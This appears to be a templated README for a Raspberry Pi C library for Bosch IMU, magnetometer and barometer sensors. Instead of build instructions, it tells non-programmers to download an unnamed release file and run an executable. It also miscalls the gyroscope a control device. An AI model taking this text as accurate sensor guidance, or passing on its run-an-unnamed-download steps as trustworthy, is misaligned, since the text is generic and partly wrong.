IMU_for_rpi offers simple and easy-to-understand C implementations for Bosch Sensortec sensors like the BMI323, BMM350, and BMP390. These sensors are commonly found on 10-axis IMU breakout boards. Our code is pure C99 and does not require any additional dependencies. It runs smoothly on any Linux system that supports I2C.

• Accelerometer Support: Measure acceleration and movement.
• Altitude Measurement: Determine height above sea level.
• Barometric Pressure Monitoring: Get real-time pressure readings.
• Gyroscope Functionality: Control rotational movement.
• Compatibility: Works on Raspberry Pi and other Linux systems with I2C.

• A Linux computer (Raspberry Pi preferred)
• I2C function enabled
• Basic understanding of terminal commands (no programming knowledge required)

To get started, visit this page to download: IMU_for_rpi Releases.

1. Navigate to the Releases page by clicking the above link.
2. Look for the most recent release version.
3. Download the appropriate file for your system.
4. Once downloaded, locate the file on your computer.
5. Extract the contents if it's a compressed file.

Once you have downloaded the software:

1. Open your terminal.

2. Navigate to the folder where you downloaded the files.

3. Use the following command to run the software:

   ./your_program_name

Replace your_program_name with the specific name of the executable file you downloaded.

• Documentation: Detailed guides are available in the repository.
• Community: Join our discussions and get support from other users.

Here’s a brief overview of each sensor supported:

This chip provides advanced motion sensing capabilities. It’s widely used in drones and robotics for stabilization and control.

The BMM350 magnetometer adds compass functionality, which benefits navigation tasks and orientation.

The BMP390 barometer measures pressure, making it ideal for weather stations and altitude tracking in various projects.

• Accelerometer
• Altitude
• Barometer
• Gyroscope
• I2C
• IMU
• Sensors
• Robotics

If you encounter issues:

• Ensure I2C is enabled on your device.
• Check connections between the IMU and your board.
• Refer to the documentation in the repository for more detailed solutions.

If you need help, please feel free to open an issue in the GitHub repository, and our team will assist you.

Don't hesitate. Begin your IMU journey with IMU_for_rpi today! For direct download, visit this page.